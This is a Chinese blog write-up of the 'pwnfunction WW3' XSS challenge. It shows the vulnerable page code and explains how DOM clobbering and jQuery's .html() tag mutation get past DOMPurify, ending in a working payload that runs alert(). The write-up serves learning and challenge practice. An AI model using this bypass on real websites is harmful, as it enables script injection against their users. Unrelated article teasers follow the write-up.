xss靶场 pwnfunction WW3

ops/2024/9/19 12:16:49/ 标签: 绕过, 渗透, 学习, 安全, xss, jquery, dom型xss

目录

 代码

代码分析

payload构造

结果


代码

<div><h4>Meme Code</h4><textarea class="form-control" id="meme-code" rows="4"></textarea><div id="notify"></div>
</div><script>/* Utils */const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');const memeTemplate = (img, text) => {return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+`.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+`.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+`position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+`<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)}const memeGen = (that, notify) => {if (text && img) {template = memeTemplate(img, text)if (notify) {html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)}setTimeout(_ => {$('#status').remove()notify ? ($('#notify').html(html)) : ''$('#meme-code').text(template)}, 1000)}}
</script><script>/* Main */let notify = false;let text = new URL(location).searchParams.get('text')let img = new URL(location).searchParams.get('img')if (text && img) {document.write(`<div class="alert alert-primary" role="alert" id="status">`+`<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`+`Creating meme... (${DOMPurify.sanitize(text)})</div>`)} else {$('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))}
</script>

代码分析

经过分析大部分的输入输出都被过滤函数过滤了例如下图

过滤了以后再寻找新的注入点,看一下这里,漏洞点就在这里

payload构造

对于Jquery.html()和innerHTML是有区别的,来个例子来解释一下

<style><style/><script>alert(1337)// 

输入上面一样的东西对于innerHTML来说,他会补全标签,且style中不允许有标签,如果有标签的话里面的内容会被当作文本解析,里面的内容无法执行,所以就会出现下面那个样子

<style>
<style/><script>alert(1337)//
</style>

对于Jquery.html的话对于标签的处理是先调用htmlPrefilter() 这个函数,然后再用innerHTML

调用htmlPrefilter() 这个函数会将你的输入进行一个匹配,所匹配的代码就是<div/>这个样子,然后他会对你标签进行补全,补完以后就成这样了<div></div>

上面的例子就成了这样,其中script就逃逸出来了,然后中间的两个标签是替换后的标签,然后最上面的标签是innerHTML整出来的标签,然后第一个和第三个标签闭合了

(注:这个技巧对于Jquery.html版本是有要求的)

<style>
<style>
</style>
<script>alert(1337)//

然后回来看一下这道题,首先进行的是DOMPurify这个过滤然后再进行.html,这样是不是就可以使用上面的技巧去绕过

但是想要触发这个.html还需要notify为true,但是这里是false

这里我们就要想办法进行DOM破坏了

然后我们尝试使用<img name=notify>来绕过,为什么不使用<img id=notify>,因为id不允许覆盖已经存在的值,但是name可以覆盖

所以我们构造如下payload

<img name=notify><style><style/><script>alert()//

然后需要我们进入到刚刚分析的漏洞点,所以我们需要进入下图所示,但是只有当img图片加载成功才可以,所以我们需要再img传一个真值,且img标签中属性的执行是异步的所以在src加载的过程中,下面的text也会加载,然后才是onload加载,这样payload也加载到了memeGen里面

所以最终传参为

img=valid_img_url&text=<img name=notify><style><style/><script>alert()//

结果

这里图片源可以添加一个更容易访问的图片,如果很难访问的图片的话可能会因为访问超时而没有回应


http://www.ppmy.cn/ops/98498.html

相关文章

git 更改远程分支地址

要更改Git仓库的远程分支地址&#xff0c;您可以使用git remote set-url命令。以下是如何更改远程仓库URL的步骤&#xff1a; 打开终端&#xff08;或Git Bash&#xff09;。 切换到您的本地仓库所在的目录。 使用git remote -v查看当前远程仓库的URL。 使用git remote set…

2024河南萌新联赛第五场 C小美想收集(并查集拓展域,2-sat)

题目链接 思路&#xff1a; 这题是并查集拓展域板题&#xff0c;而且并查集拓展域其实就是2-sat&#xff0c;虽然做法不同&#xff0c;但是思想是相通的&#xff0c;也可以用2-sat来做。 一个回忆可以看成在好回忆或在坏回忆里&#xff0c;两种选择。 code&#xff1a; #in…

HTML静态网页成品作业(HTML+CSS)——美食企业介绍设计制作(1个页面)

&#x1f389;不定期分享源码&#xff0c;关注不丢失哦 文章目录 一、作品介绍二、作品演示三、代码目录四、网站代码HTML部分代码 五、源码获取 一、作品介绍 &#x1f3f7;️本套采用HTMLCSS&#xff0c;未使用Javacsript代码&#xff0c;共有1个页面。 二、作品演示 三、代…

43.x86游戏实战-XXX寻找吸怪坐标

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 本次游戏没法给 内容参考于&#xff1a;微尘网络安全 工具下载&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1rEEJnt85npn7N38Ai0_F2Q?pwd6tw3 提…

用于超声电影中同时检测关键帧和地标的贝叶斯网络| 文献速递-大模型与多模态诊断阿尔茨海默症与帕金森疾病应用

Title 题目 A Bayesian network for simultaneous keyframe and landmark detection inultrasonic cine 用于超声电影中同时检测关键帧和地标的贝叶斯网络 01 文献速递介绍 超声电影&#xff08;Ultrasonic cine&#xff09;是超声检查中常见的保存形式&#xff0c;允许实…

百度地图SDK Android版开发 6 显示覆盖物

百度地图SDK Android版开发 6 显示覆盖物 前言地图类中覆盖物的接口覆盖物类Marker示例Polyline示例Polygon示例Arc示例Circle示例Text示例效果图 Marker的更多属性常用属性交互碰撞动画其它属性 折线的更多属性常用属性交互其它 多边形的更多属性常用属性交互其它 Arc的更多属…

HAL库源码移植与使用之触摸屏

你可以这么认为屏幕下有几条线引出来就是电阻屏 万用表与VREF共地&#xff0c;你按下屏幕ITO层的导电体与电压层接触&#xff0c;该点就会带电&#xff0c;先测相对于y轴为电压表时的v值&#xff0c;再测相对于x轴为电压表时v值&#xff0c;又因为电阻片均匀供电&#xff0c;就…

WPS宏实现一个表格拆分成多个表格的功能

把首列名称中一样的分别创建该名称时间戳的新表格&#xff0c;比如有个表格存储各个省的信息&#xff0c;江苏的有50行数据&#xff0c;山西的55行数据等等&#xff0c;这个就是把江苏的创建一个新表保存&#xff0c;山西的创建一个新表格保存。里面主要是表格的创建与关闭相关…

如何发布自己的NPM包详细步骤

前言 在前端开发中&#xff0c;将自己编写的 Vue 组件或插件打包并发布到 NPM 上&#xff0c;不仅可以方便自己在其他项目中复用&#xff0c;还能分享给更多的开发者使用。本文将从 NPM 注册、登录与发布流程&#xff0c;及如何通过 Vue CLI 打包插件的角度详细介绍如何发布 V…

TCP的报文段结构与TCP编程的小工具

TCP协议的报文由两个主要部分组成&#xff1a;TCP首部和数据部分。TCP首部是控制TCP连接和传输的重要部分&#xff0c;而数据部分则包含了实际要传输的应用层数据。 TCP报文段结构 一个完整的TCP报文段包括TCP首部和数据部分。 TCP首部结构 TCP首部的标准长度是 20 字节&am…

SecretPixel:一款整合了多种技术的高级图像隐写工具

关于SecretPixel SecretPixel是一款先进的隐写术工具&#xff0c;旨在安全地隐藏图像中的敏感信息。它结合了先进的加密、压缩和种子最低有效位 (LSB) 技术&#xff0c;为隐藏数据提供了一种不可检测的强大解决方案&#xff0c;在数字隐写术领域脱颖而出。 功能介绍 1、高级加…

【Vue】生命周期函数

系列文章目录 第五章 生命周期函数 文章目录 系列文章目录 生命周期函数代表的是Vue实例&#xff0c;或者是Vue组件&#xff0c;在网页中各个生命阶段所执行的函数。生命周期函数可以分为创建阶段、挂载阶段、更新阶段以及卸载阶段。 创建阶段&#xff1a;setup挂载阶段&…

网络协议概述,ip协议,TCP协议,udp协议,二者区别,python中用socket类实现网络通信程序的编写(服务器套接字实现TCP编程,UDP编程)

七层协议 ① ip协议 ②TCP协议 TCP协议面向连接的&#xff0c;可靠的协议&#xff0c;有三次握手来保证可靠性 ③ udp协议 不一定可以保证数据发过去&#xff0c;像发短信一样&#xff0c;对方不一定在线&#xff0c;号码也不一定对 TCP,UDP之间存在一些区别&#xff1a…

Python中的基本数据类型:构建坚实编程基石

引言 编程语言中的数据类型就像是建造高楼大厦的砖石。Python作为一种强大的编程语言&#xff0c;提供了多种内置的数据类型来满足不同的需求。其中&#xff0c;整型、浮点型、字符串和布尔型是最常用也是最基础的数据类型。无论是简单的数值计算还是复杂的文本处理&#xff0…

【C++ 面试 - 面向对象】每日 3 题(一)

✍个人博客&#xff1a;Pandaconda-CSDN博客 &#x1f4e3;专栏地址&#xff1a;http://t.csdnimg.cn/fYaBd &#x1f4da;专栏简介&#xff1a;在这个专栏中&#xff0c;我将会分享 C 面试中常见的面试题给大家~ ❤️如果有收获的话&#xff0c;欢迎点赞&#x1f44d;收藏&…

博立的个人代表作品集锦

1. 比赛同创 国一_2023年全国大学生电子设计竞赛 【信号分离装置】 国二_2023年全国大学生集成电路创新创业大赛半决赛作品&#xff08;robei赛道&#xff09; 【基于robei EDA的可重构无线控制小车设计】 省一_2022年重庆市大学生电子设计竞赛 【混沌信号发生装置】 国…

黑神话悟空苹果电脑可以玩吗?MacBook玩黑神话悟空游戏攻略 crossover软件永久激活码分享 crossover免费使用教程

《黑神话&#xff1a;悟空》是由游戏科学公司制作的以中国神话为背景的动作角色扮演游戏&#xff0c;在发行前已备受期待。8月20日10时&#xff0c;备受期待的国产3A游戏大作《黑神话&#xff1a;悟空》正式上线&#xff0c;开售不到一小时&#xff0c;Steam平台上便涌入104.5万…

安装docker+docker远程连接

docker Docker 是⼀个开源的应⽤容器引擎&#xff0c;可以实现虚拟化&#xff0c;完全采⽤“沙盒”机制&#xff0c;容器之间不会存在任何接⼝。 docker架构 docker核心概念 1. 镜像&#xff08;images&#xff09;&#xff1a;⼀个⾯向 docker 容器引擎的只读模板&#xff0c;…

PS 笔记

PS(Photoshop)是一款由Adobe公司开 发的软件&#xff0c;广泛用于图像处理、图形设 计、网页制作等领域。下面将对PS的一些 基本操作、功能和技巧进行总结&#xff0c;以供参考: 界面:PS的界面包含工具栏、选项栏、 面板、画布等部分&#xff0c;熟悉界面布局对操作很重要…

用GO开发的桌面端软件如何控制只运行一个实例

我们在运行GO开发的桌面端软件时&#xff0c;经常遇到一个需求&#xff0c;就是只允许一个实例运行&#xff0c;比如一个游戏&#xff0c;我们只允许一个实例运行&#xff0c;防止多个实例同时运行&#xff0c;导致游戏卡顿。 然而如果我们不做任何处理&#xff0c;只要我们双…